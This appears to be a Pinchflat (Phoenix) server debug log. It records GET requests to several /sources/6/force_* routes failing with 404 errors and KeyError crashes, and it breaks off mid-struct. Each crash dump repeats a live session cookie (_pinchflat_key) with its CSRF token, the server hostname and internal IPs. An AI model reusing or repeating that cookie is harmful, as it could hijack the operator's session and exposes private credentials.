"_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37159.0>, params: %{}, path_info: ["sources", "6", "media", "13821", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/media/13821/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvieR4K1ieWoAAXyh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/13821/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/media/13821/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/13821/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 22:17:23.174 [info] GET /sources/6/force_index 22:17:23.175 [debug] QUERY OK source="settings" db=0.3ms idle=33.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.176 [debug] QUERY OK source="settings" db=0.4ms idle=33.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.176 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.176 [error] #PID<0.37160.0> running PinchflatWeb.Endpoint (connection #PID<0.37088.0>, stream id 17) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37160.0>, params: %{}, path_info: ["sources", "6", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvilJ9WzRltYAAW7E"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, (truncated) 22:17:23.180 [info] GET /sources/6/force_download_pending 22:17:23.180 [debug] QUERY OK source="settings" db=0.2ms idle=36.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.181 [debug] QUERY OK source="settings" db=0.2ms idle=34.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.181 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.181 [error] #PID<0.37161.0> running PinchflatWeb.Endpoint (connection #PID<0.37088.0>, stream id 18) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37161.0>, params: %{}, path_info: ["sources", "6", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvimdZfWIrYYAAW7k"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZz (truncated) 22:17:23.185 [info] GET /sources/6/force_metadata_refresh 22:17:23.186 [debug] QUERY OK source="settings" db=0.1ms idle=39.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.187 [debug] QUERY OK source="settings" db=0.7ms idle=11.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.187 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.188 [error] #PID<0.37162.0> running PinchflatWeb.Endpoint (connection #PID<0.37088.0>, stream id 19) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37162.0>, params: %{}, path_info: ["sources", "6", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvinzJH8P4uoAAW8E"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => 